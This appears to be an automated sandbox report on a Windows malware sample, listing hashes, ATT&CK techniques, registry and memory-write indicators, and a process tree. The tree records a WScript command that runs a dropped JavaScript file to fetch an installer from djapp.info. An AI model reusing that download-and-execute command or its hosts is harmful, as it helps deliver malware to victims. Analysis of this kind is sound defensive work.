097f427d778c03a8fe97d7e2ecf07a0650c94b2dc84720455f23683d95786d64

General

Target

381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe
Size

184KB
MD5

381b8f81eff4023892ca415ffb3aea2e
SHA1

4dffc54a1a64d36a4e2d8909e521f85c1793ef3b
SHA256

097f427d778c03a8fe97d7e2ecf07a0650c94b2dc84720455f23683d95786d64
SHA512

1070d1ea9a0d2c846252672ff1544e707b8067b044d55836803c7da3fdf9c77eab2efc2910a83d572d0cd174db56a801a191e5733d406d3f630e1689d9c90e32
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Pz:/7BSH8zUB+nGESaaRvoB7FJNndnwz

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
3	4048	WScript.exe
16	4768	WScript.exe
18	1332	WScript.exe
33	3448	WScript.exe
36	3952	WScript.exe
37	3952	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 5116 wrote to memory of 4048	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	85
PID 5116 wrote to memory of 4048	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	85
PID 5116 wrote to memory of 4048	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	85
PID 5116 wrote to memory of 4768	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	87
PID 5116 wrote to memory of 4768	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	87
PID 5116 wrote to memory of 4768	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	87
PID 5116 wrote to memory of 1332	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	88
PID 5116 wrote to memory of 1332	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	88
PID 5116 wrote to memory of 1332	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	88
PID 5116 wrote to memory of 3448	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	91
PID 5116 wrote to memory of 3448	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	91
PID 5116 wrote to memory of 3448	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	91
PID 5116 wrote to memory of 3952	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	94
PID 5116 wrote to memory of 3952	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	94
PID 5116 wrote to memory of 3952	5116	381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\381b8f81eff4023892ca415ffb3aea2e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8906.js" http://www.djapp.info/?domain=TxqTZdNLMM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8906.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4048
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8906.js" http://www.djapp.info/?domain=TxqTZdNLMM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8906.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4768
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8906.js" http://www.djapp.info/?domain=TxqTZdNLMM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8906.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1332
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8906.js" http://www.djapp.info/?domain=TxqTZdNLMM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8906.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3448
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8906.js" http://www.djapp.info/?domain=TxqTZdNLMM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8906.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf8906.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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